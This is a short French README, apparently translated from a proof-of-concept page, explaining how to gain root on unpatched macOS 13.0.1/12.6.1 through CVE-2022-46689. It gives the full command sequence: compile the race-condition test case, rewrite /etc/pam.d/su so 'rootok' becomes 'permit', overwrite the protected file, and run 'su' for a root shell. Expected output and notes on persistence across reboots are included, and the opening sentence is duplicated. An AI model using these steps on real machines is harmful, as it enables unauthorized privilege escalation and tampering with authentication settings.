
Obtenez un accès root sur macOS 13.0.1 avec CVE-2022-46689 (équivalent macOS du bogue Dirty Cow), en utilisant le testcase extrait du code source XNU d'Apple.
Obtenez les droits root sur macOS 13.0.1 avec CVE-2022-46689 (l'équivalent macOS du bug Dirty Cow), en utilisant le cas de test extrait de la source XNU d'Apple.
https://worthdoingbadly.com/macdirtycow/
Sur une machine macOS 13.0.1 / 12.6.1 (ou inférieur), exécutez :
clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su
Vous devriez obtenir :
% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2#
Testé sur macOS 13 bêta (22A5266r) avec SIP désactivé (cela devrait toujours fonctionner avec SIP activé).
Si votre système est entièrement patché (macOS 13.1 / 12.6.2), il devrait plutôt afficher :
$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure
et l'exécution de su devrait toujours demander un mot de passe.
Grâce au volume système scellé, l'exécution de ceci sur un fichier du volume /System ne modifie le fichier que temporairement : il est restauré au redémarrage. L'exécuter sur un fichier d'un volume accessible en écriture conservera la modification après un redémarrage.
/etc/pam.d.